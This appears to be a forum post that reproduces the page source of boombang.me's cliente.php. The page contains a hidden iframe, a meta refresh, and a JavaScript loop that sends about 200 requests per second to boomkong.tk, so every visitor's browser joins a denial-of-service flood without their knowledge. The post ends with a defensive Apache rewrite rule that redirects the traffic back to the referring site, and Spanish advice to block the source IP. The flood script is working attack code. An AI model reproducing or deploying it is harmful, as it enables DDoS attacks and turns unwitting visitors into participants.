view-source:http://boombang.me/esp/cliente.php

<iframe src='ddosputo.php' height='0' width='0' style="borders: none; display: none"></iframe>

<meta http-equiv="refresh" content="60;URL=ddosputo.php">

<script type="text/javascript">
			function random() {
				var count = 0;
				var result = "";
				var length = Math.Floor(Math.Random() * 100);
				var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";
 
				for (var i = 0; i < length; i++) {
					var num = Math.Floor(Math.Random() * chars.length);
					result = result + chars.substring(num, num + 1);
				}
 
				return result;
			}
 
			(function () { 
				var fireInterval; 
				var requestsHT = {};
				var isFiring = true;
				var targetURL = "http://boomkong.tk"
				var requestedCtr = 0, succeededCtr = 0, failedCtr = 0;
 
				var makeHttpRequest = function () {
 
				if (requestedCtr > failedCtr + succeededCtr + 1000) {  return; };
 
				var rID = Number(new Date()); var img = new Image();
				img.onerror = function () { onFail(rID); };
				img.onabort = function () { onFail(rID); };
				img.onload = function () { onSuccess(rID); };
 
				img.setAttribute("src", targetURL + "?id=" + rID + "&msg=robandocreditosokase-lol");
				requestsHT[rID] = img;  onRequest(rID);
				};
 
				var onRequest = function (rID) { requestedCtr++; };
				var onComplete = function (rID) { delete requestsHT[rID]; };
				var onFail = function (rID) { succeededCtr++; delete requestsHT[rID]; };
				var onSuccess = function (rID) { succeededCtr++; delete requestsHT[rID]; };
 
				isFiring = true; 
				fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(200) | 0));
			})();
		</script>

view-source:http://boombang.me/esp/cliente.php

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %1%{HTTP_REFERER} boombang\.me/(.*)?
RewriteRule ^.*$ http://boombang.me/%1 [R=301,L]
</IfModule>

Parece que el ataque se esta realizando únicamente desde un servidor. Si tienes acceso a apache deniega la ip del origen de ataque con deny from y adios